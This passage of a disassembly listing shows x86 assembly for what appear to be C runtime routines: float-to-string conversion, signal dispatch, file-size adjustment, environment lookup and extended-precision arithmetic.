loc_414FC5 dec eax dec eax jnz loc_41506D loc_414FB9: ; CODE XREF: sub_414CF7+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414FC5: ; CODE XREF: sub_414CF7+258j ; sub_414CF7+2B8j push 7 loc_414FC7: ; CODE XREF: sub_414CF7+85j ; sub_414CF7+103j ... pop eax jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414FCD: ; CODE XREF: sub_414CF7+2AAj push 0Ah dec edi pop eax loc_414FD1: ; CODE XREF: sub_414CF7+5Dj ; sub_414CF7+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00414D5A case 10 jz loc_41506F jmp loc_414D4E ; --------------------------------------------------------------------------- loc_414FDF: ; CODE XREF: sub_414CF7+12Dj ; sub_414CF7+238j ... mov edi, [ebp+arg_8] jmp loc_41506F ; --------------------------------------------------------------------------- loc_414FE7: ; CODE XREF: sub_414CF7+63j ; DATA XREF: .nsp0:off_415198o mov [ebp+var_20], 1 ; jumptable 00414D5A case 9 xor esi, esi loc_414FF0: ; CODE XREF: sub_414CF7+339j cmp dword_41FF84, 1 jle short loc_415008 movzx eax, bl push 4 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_415017 ; --------------------------------------------------------------------------- loc_415008: ; CODE XREF: sub_414CF7+300j mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_415017: ; CODE XREF: sub_414CF7+30Fj test eax, eax jz short loc_415037 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_415032 mov bl, [edi] inc edi jmp short loc_414FF0 ; --------------------------------------------------------------------------- loc_415032: ; CODE XREF: sub_414CF7+334j mov esi, 1451h loc_415037: ; CODE XREF: sub_414CF7+322j mov [ebp+var_1C], esi loc_41503A: ; CODE XREF: sub_414CF7+371j cmp dword_41FF84, 1 jle short loc_415052 movzx eax, bl push 4 push eax call sub_4114D9 pop ecx pop ecx jmp short loc_415061 ; --------------------------------------------------------------------------- loc_415052: ; CODE XREF: sub_414CF7+34Aj mov ecx, off_41FD78 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_415061: ; CODE XREF: sub_414CF7+359j test eax, eax jz short loc_41506A mov bl, [edi] inc edi jmp short loc_41503A ; --------------------------------------------------------------------------- loc_41506A: ; CODE XREF: sub_414CF7+99j ; sub_414CF7+E4j ... dec edi jmp short loc_41506F ; --------------------------------------------------------------------------- loc_41506D: ; CODE XREF: sub_414CF7+261j ; sub_414CF7+2BCj mov edi, ecx loc_41506F: ; CODE XREF: sub_414CF7+2DDj ; sub_414CF7+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_415157 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_41509B cmp [ebp+var_45], 5 jl short loc_41508F inc [ebp+var_45] loc_41508F: ; CODE XREF: sub_414CF7+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_41509E ; --------------------------------------------------------------------------- loc_41509B: ; CODE XREF: sub_414CF7+38Dj mov eax, [ebp+var_C] loc_41509E: ; CODE XREF: sub_414CF7+3A2j cmp [ebp+var_4], 0 jbe loc_41514D loc_4150A8: ; CODE XREF: sub_414CF7+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4150B6 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4150A8 ; --------------------------------------------------------------------------- loc_4150B6: ; CODE XREF: sub_414CF7+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_414C30 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4150D5 neg eax loc_4150D5: ; CODE XREF: sub_414CF7+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4150E0 add eax, [ebp+arg_10] loc_4150E0: ; CODE XREF: sub_414CF7+3E4j cmp [ebp+var_24], ecx jnz short loc_4150E8 sub eax, [ebp+arg_14] loc_4150E8: ; CODE XREF: sub_414CF7+3ECj cmp eax, 1450h jle short loc_41511F mov [ebp+var_2C], 1 loc_4150F6: ; CODE XREF: sub_414CF7+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_415102: ; CODE XREF: sub_414CF7+454j ; sub_414CF7+45Ej cmp [ebp+var_2C], 0 jz short loc_415168 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41517D ; --------------------------------------------------------------------------- loc_41511F: ; CODE XREF: sub_414CF7+3F6j cmp eax, 0FFFFEBB0h jge short loc_41512F mov [ebp+var_30], 1 jmp short loc_4150F6 ; --------------------------------------------------------------------------- loc_41512F: ; CODE XREF: sub_414CF7+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4159B0 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_415102 ; --------------------------------------------------------------------------- loc_41514D: ; CODE XREF: sub_414CF7+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_415102 ; --------------------------------------------------------------------------- loc_415157: ; CODE XREF: sub_414CF7+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41517D ; --------------------------------------------------------------------------- loc_415168: ; CODE XREF: sub_414CF7+40Fj cmp [ebp+var_30], 0 jz short loc_41517D xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41517D: ; CODE XREF: sub_414CF7+426j ; sub_414CF7+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_414CF7 endp ; --------------------------------------------------------------------------- off_415198 dd offset loc_414D61 ; DATA XREF: sub_414CF7+63r dd offset loc_414DB0 ; jump table for switch statement dd offset loc_414E07 dd offset loc_414E31 dd offset loc_414E8C dd offset loc_414F03 dd offset loc_414F39 dd offset loc_414F83 dd offset loc_414F62 dd offset loc_414FE7 dd offset loc_414FD1 dd offset loc_414F9D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151C8 proc near ; CODE XREF: sub_413C19+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41522A mov byte ptr [ebx+2], 2Dh jmp short loc_41522E ; --------------------------------------------------------------------------- loc_41522A: ; CODE XREF: sub_4151C8+5Aj mov byte ptr [ebx+2], 20h loc_41522E: ; CODE XREF: sub_4151C8+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_415254 test edi, edi jnz short loc_415254 cmp [ebp+arg_0], edi jnz short loc_415254 loc_41523F: ; CODE XREF: sub_4151C8+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_415452 ; --------------------------------------------------------------------------- loc_415254: ; CODE XREF: sub_4151C8+6Cj ; sub_4151C8+70j ... cmp dx, si jnz short loc_4152D3 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41526D cmp [ebp+arg_0], 0 jz short loc_41527C loc_41526D: ; CODE XREF: sub_4151C8+9Dj test edi, 40000000h jnz short loc_41527C push offset a1Snan ; "1#SNAN" jmp short loc_4152C2 ; --------------------------------------------------------------------------- loc_41527C: ; CODE XREF: sub_4151C8+A3j ; sub_4151C8+ABj test cx, cx jz short loc_415296 cmp edi, 0C0000000h jnz short loc_415296 cmp [ebp+arg_0], 0 jnz short loc_4152BD push offset a1Ind ; "1#IND" jmp short loc_4152A5 ; --------------------------------------------------------------------------- loc_415296: ; CODE XREF: sub_4151C8+B7j ; sub_4151C8+BFj cmp edi, eax jnz short loc_4152BD cmp [ebp+arg_0], 0 jnz short loc_4152BD push offset a1Inf ; "1#INF" loc_4152A5: ; CODE XREF: sub_4151C8+CCj lea eax, [ebx+4] push eax call sub_40CD70 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4152B4: ; CODE XREF: sub_4151C8+109j and [ebp+var_4], 0 jmp loc_41542B ; --------------------------------------------------------------------------- loc_4152BD: ; CODE XREF: sub_4151C8+C5j ; sub_4151C8+D0j ... push offset a1Qnan ; "1#QNAN" loc_4152C2: ; CODE XREF: sub_4151C8+B2j lea eax, [ebx+4] push eax call sub_40CD70 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4152B4 ; --------------------------------------------------------------------------- loc_4152D3: ; CODE XREF: sub_4151C8+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4159B0 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_415334 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_415790 pop ecx pop ecx loc_415334: ; CODE XREF: sub_4151C8+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41534E mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_415351 jmp loc_41523F ; --------------------------------------------------------------------------- loc_41534E: ; CODE XREF: sub_4151C8+173j mov edi, [ebp+arg_C] loc_415351: ; CODE XREF: sub_4151C8+17Fj cmp edi, 15h jle short loc_415359 push 15h pop edi loc_415359: ; CODE XREF: sub_4151C8+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41536F: ; CODE XREF: sub_4151C8+1B4j lea eax, [ebp+var_10] push eax call sub_414BD5 dec [ebp+arg_14] pop ecx jnz short loc_41536F test esi, esi jge short loc_415399 neg esi and esi, 0FFh jle short loc_415399 loc_41538C: ; CODE XREF: sub_4151C8+1CFj lea eax, [ebp+var_10] push eax call sub_414C03 dec esi pop ecx jnz short loc_41538C loc_415399: ; CODE XREF: sub_4151C8+1B8j ; sub_4151C8+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4153F6 mov [ebp+arg_C], ecx loc_4153A9: ; CODE XREF: sub_4151C8+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_414BD5 lea eax, [ebp+var_10] push eax call sub_414BD5 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_414B77 lea eax, [ebp+var_10] push eax call sub_414BD5 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4153A9 mov eax, [ebp+arg_14] loc_4153F6: ; CODE XREF: sub_4151C8+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_415433 loc_415403: ; CODE XREF: sub_4151C8+248j cmp eax, ecx jb short loc_415416 cmp byte ptr [eax], 39h jnz short loc_415412 mov byte ptr [eax], 30h dec eax jmp short loc_415403 ; --------------------------------------------------------------------------- loc_415412: ; CODE XREF: sub_4151C8+242j cmp eax, ecx jnb short loc_41541A loc_415416: ; CODE XREF: sub_4151C8+23Dj inc eax inc word ptr [ebx] loc_41541A: ; CODE XREF: sub_4151C8+24Cj inc byte ptr [eax] loc_41541C: ; CODE XREF: sub_4151C8+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41542B: ; CODE XREF: sub_4151C8+F0j mov eax, [ebp+var_4] loc_41542E: ; CODE XREF: sub_4151C8+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415433: ; CODE XREF: sub_4151C8+239j ; sub_4151C8+275j cmp eax, ecx jb short loc_415443 cmp byte ptr [eax], 30h jnz short loc_41543F dec eax jmp short loc_415433 ; --------------------------------------------------------------------------- loc_41543F: ; CODE XREF: sub_4151C8+272j cmp eax, ecx jnb short loc_41541C loc_415443: ; CODE XREF: sub_4151C8+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_415452: ; CODE XREF: sub_4151C8+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41542E sub_4151C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41545B proc near ; CODE XREF: sub_4113CC+2A2Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4154C2 dec eax dec eax jz short loc_4154B3 sub eax, 4 jz short loc_4154B3 sub eax, 3 jz short loc_4154B3 sub eax, 4 jz short loc_4154A6 sub eax, 6 jz short loc_415499 dec eax jz short loc_41548C or eax, 0FFFFFFFFh jmp loc_415584 ; --------------------------------------------------------------------------- loc_41548C: ; CODE XREF: sub_41545B+27j mov esi, dword_47FBF0 mov eax, offset dword_47FBF0 jmp short loc_4154CD ; --------------------------------------------------------------------------- loc_415499: ; CODE XREF: sub_41545B+24j mov esi, dword_47FBEC mov eax, offset dword_47FBEC jmp short loc_4154CD ; --------------------------------------------------------------------------- loc_4154A6: ; CODE XREF: sub_41545B+1Fj mov esi, dword_47FBF4 mov eax, offset dword_47FBF4 jmp short loc_4154CD ; --------------------------------------------------------------------------- loc_4154B3: ; CODE XREF: sub_41545B+10j ; sub_41545B+15j ... push edi call sub_415588 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4154CD ; --------------------------------------------------------------------------- loc_4154C2: ; CODE XREF: sub_41545B+Cj mov esi, dword_47FBE8 mov eax, offset dword_47FBE8 loc_4154CD: ; CODE XREF: sub_41545B+3Cj ; sub_41545B+49j ... cmp esi, 1 jnz short loc_4154D9 xor eax, eax jmp loc_415584 ; --------------------------------------------------------------------------- loc_4154D9: ; CODE XREF: sub_41545B+75j test esi, esi jnz short loc_4154E4 push 3 call sub_40D156 loc_4154E4: ; CODE XREF: sub_41545B+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4154F6 cmp edi, 0Bh jz short loc_4154F6 cmp edi, 4 jnz short loc_41551C loc_4154F6: ; CODE XREF: sub_41545B+8Fj ; sub_41545B+94j mov ebx, dword_47F9C8 and dword_47F9C8, 0 cmp edi, ecx jnz short loc_41554B mov edx, dword_420274 mov dword_420274, 8Ch mov [ebp+arg_0], edx jmp short loc_41551F ; --------------------------------------------------------------------------- loc_41551C: ; CODE XREF: sub_41545B+99j mov ebx, [ebp+arg_0] loc_41551F: ; CODE XREF: sub_41545B+BFj cmp edi, ecx jnz short loc_41554B mov eax, dword_420268 mov ecx, dword_42026C add ecx, eax cmp eax, ecx jge short loc_415552 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:4201F8h[edx*4] loc_415540: ; CODE XREF: sub_41545B+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_415540 jmp short loc_415552 ; --------------------------------------------------------------------------- loc_41554B: ; CODE XREF: sub_41545B+AAj ; sub_41545B+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_415560 loc_415552: ; CODE XREF: sub_41545B+D7j ; sub_41545B+EEj push dword_420274 push 8 call esi pop ecx pop ecx jmp short loc_41556E ; --------------------------------------------------------------------------- loc_415560: ; CODE XREF: sub_41545B+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41556E cmp edi, 4 jnz short loc_415581 loc_41556E: ; CODE XREF: sub_41545B+103j ; sub_41545B+10Cj cmp edi, 8 mov dword_47F9C8, ebx jnz short loc_415581 mov eax, [ebp+arg_0] mov dword_420274, eax loc_415581: ; CODE XREF: sub_41545B+111j ; sub_41545B+11Cj xor eax, eax pop ebx loc_415584: ; CODE XREF: sub_41545B+2Cj ; sub_41545B+79j pop edi pop esi pop ebp retn sub_41545B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415588 proc near ; CODE XREF: sub_41545B+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_420270 cmp dword_4201F4, edx push esi mov eax, offset dword_4201F0 jz short loc_4155B6 lea esi, [ecx+ecx*2] lea esi, ds:4201F0h[esi*4] loc_4155AA: ; CODE XREF: sub_415588+2Cj add eax, 0Ch cmp eax, esi jnb short loc_4155B6 cmp [eax+4], edx jnz short loc_4155AA loc_4155B6: ; CODE XREF: sub_415588+16j ; sub_415588+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:4201F0h[ecx*4] cmp eax, ecx jnb short loc_4155CA cmp [eax+4], edx jz short locret_4155CC loc_4155CA: ; CODE XREF: sub_415588+3Bj xor eax, eax locret_4155CC: ; CODE XREF: sub_415588+40j retn sub_415588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155CD proc near ; CODE XREF: sub_41416A+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_40B690 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_480D40 jnb loc_415702 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_480C40[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_415702 push 1 push esi push ebx call sub_412573 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_41570C push 2 push esi push ebx call sub_412573 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_41570C push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_4156AF push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_40B630 push 8000h push ebx call sub_415A2C add esp, 14h mov [ebp+arg_4], eax loc_415663: ; CODE XREF: sub_4155CD+BDj mov eax, 1000h cmp edi, eax jge short loc_41566E mov eax, edi loc_41566E: ; CODE XREF: sub_4155CD+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_413190 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41568C sub edi, eax test edi, edi jle short loc_4156A2 jmp short loc_415663 ; --------------------------------------------------------------------------- loc_41568C: ; CODE XREF: sub_4155CD+B5j cmp dword_47F918, 5 jnz short loc_41569F mov dword_47F914, 0Dh loc_41569F: ; CODE XREF: sub_4155CD+C6j or esi, 0FFFFFFFFh loc_4156A2: ; CODE XREF: sub_4155CD+BBj push [ebp+arg_4] push ebx call sub_415A2C pop ecx pop ecx jmp short loc_4156EF ; --------------------------------------------------------------------------- loc_4156AF: ; CODE XREF: sub_4155CD+71j jge short loc_4156EF push 0 push [ebp+arg_4] push ebx call sub_412573 push ebx call sub_4140D6 add esp, 10h push eax call dword_417010 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_4156EF mov dword_47F914, 0Dh call dword_417044 ; RtlGetLastWin32Error mov dword_47F918, eax loc_4156EF: ; CODE XREF: sub_4155CD+E0j ; sub_4155CD:loc_4156AFj ... push 0 push [ebp+arg_0] push ebx call sub_412573 add esp, 0Ch mov eax, esi pop edi jmp short loc_41570F ; --------------------------------------------------------------------------- loc_415702: ; CODE XREF: sub_4155CD+1Aj ; sub_4155CD+36j mov dword_47F914, 9 loc_41570C: ; CODE XREF: sub_4155CD+4Ej ; sub_4155CD+63j or eax, 0FFFFFFFFh loc_41570F: ; CODE XREF: sub_4155CD+133j pop esi pop ebx leave retn sub_4155CD endp ; =============== S U B R O U T I N E ======================================= sub_415713 proc near ; CODE XREF: sub_414438+23p arg_0 = dword ptr 4 cmp dword_480F90, 0 push ebx push esi mov esi, dword_47F93C push edi jz short loc_41578A test esi, esi jnz short loc_415744 cmp dword_47F944, esi jz short loc_41578A call sub_415AE1 test eax, eax jnz short loc_41578A mov esi, dword_47F93C test esi, esi jz short loc_41578A loc_415744: ; CODE XREF: sub_415713+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41578A push ebx call sub_40B5B0 pop ecx mov edi, eax loc_415755: ; CODE XREF: sub_415713+6Dj mov eax, [esi] test eax, eax jz short loc_41578A push eax call sub_40B5B0 cmp eax, edi pop ecx jbe short loc_41577D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41577D push edi push ebx push eax call sub_415AA2 add esp, 0Ch test eax, eax jz short loc_415782 loc_41577D: ; CODE XREF: sub_415713+51j ; sub_415713+59j add esi, 4 jmp short loc_415755 ; --------------------------------------------------------------------------- loc_415782: ; CODE XREF: sub_415713+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41578C ; --------------------------------------------------------------------------- loc_41578A: ; CODE XREF: sub_415713+10j ; sub_415713+1Cj ... xor eax, eax loc_41578C: ; CODE XREF: sub_415713+75j pop edi pop esi pop ebx retn sub_415713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415790 proc near ; CODE XREF: sub_4151C8+165p ; sub_4159B0+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_415990 cmp cx, 7FFFh jnb loc_415990 cmp dx, 0BFFDh ja loc_415990 cmp dx, 3FBFh ja short loc_4157F9 xor eax, eax jmp short loc_415833 ; --------------------------------------------------------------------------- loc_4157F9: ; CODE XREF: sub_415790+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41581B inc [ebp+arg_0] test [esi+8], edx jnz short loc_41581B xor eax, eax cmp [esi+4], eax jnz short loc_41581D cmp [esi], eax jnz short loc_41581D jmp loc_41598A ; --------------------------------------------------------------------------- loc_41581B: ; CODE XREF: sub_415790+71j ; sub_415790+79j xor eax, eax loc_41581D: ; CODE XREF: sub_415790+80j ; sub_415790+84j cmp cx, ax jnz short loc_415840 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_415840 cmp [ebx+4], eax jnz short loc_415840 cmp [ebx], eax jnz short loc_415840 loc_415833: ; CODE XREF: sub_415790+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4159AB ; --------------------------------------------------------------------------- loc_415840: ; CODE XREF: sub_415790+90j ; sub_415790+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_415850: ; CODE XREF: sub_415790+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_4158A4 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41586C: ; CODE XREF: sub_415790+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_414B56 add esp, 0Ch test eax, eax jz short loc_415897 mov eax, [ebp+var_4] inc word ptr [eax] loc_415897: ; CODE XREF: sub_415790+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41586C loc_4158A4: ; CODE XREF: sub_415790+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_415850 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_4158E7 loc_4158C2: ; CODE XREF: sub_415790+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_4158E0 lea eax, [ebp+var_24] push eax call sub_414BD5 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_4158C2 loc_4158E0: ; CODE XREF: sub_415790+136j cmp word ptr [ebp+arg_0], 0 jg short loc_415920 loc_4158E7: ; CODE XREF: sub_415790+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_415920 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_415900: ; CODE XREF: sub_415790+184j test byte ptr [ebp+var_24], 1 jz short loc_415909 inc [ebp+var_14] loc_415909: ; CODE XREF: sub_415790+174j lea eax, [ebp+var_24] push eax call sub_414C03 dec ebx pop ecx jnz short loc_415900 cmp [ebp+var_14], 0 jz short loc_415920 or byte ptr [ebp+var_24], 1 loc_415920: ; CODE XREF: sub_415790+155j ; sub_415790+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_415937 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41596C loc_415937: ; CODE XREF: sub_415790+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_415969 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_415964 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41595E inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41596C ; --------------------------------------------------------------------------- loc_41595E: ; CODE XREF: sub_415790+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41596C ; --------------------------------------------------------------------------- loc_415964: ; CODE XREF: sub_415790+1B5j inc [ebp+var_20+2] jmp short loc_41596C ; --------------------------------------------------------------------------- loc_415969: ; CODE XREF: sub_415790+1ABj inc [ebp+var_24+2] loc_41596C: ; CODE XREF: sub_415790+1A5j ; sub_415790+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_415990 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41598A: ; CODE XREF: sub_415790+86j mov [esi+0Ah], ax jmp short loc_4159AB ; --------------------------------------------------------------------------- loc_415990: ; CODE XREF: sub_415790+42j ; sub_415790+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4159AB: ; CODE XREF: sub_415790+ABj ; sub_415790+1FEj pop edi pop esi pop ebx leave retn sub_415790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4159B0 proc near ; CODE XREF: sub_414CF7+440p ; sub_4151C8+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_4206E8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_415A29 jge short loc_4159D8 mov eax, [ebp+arg_4] mov ebx, offset dword_420848 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_4159D8: ; CODE XREF: sub_4159B0+16j cmp [ebp+arg_8], ecx jnz short loc_4159E3 mov eax, [ebp+arg_0] mov [eax], cx loc_4159E3: ; CODE XREF: sub_4159B0+2Bj cmp [ebp+arg_4], ecx jz short loc_415A29 push esi push edi loc_4159EA: ; CODE XREF: sub_4159B0+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_415A22 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_415A15 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] 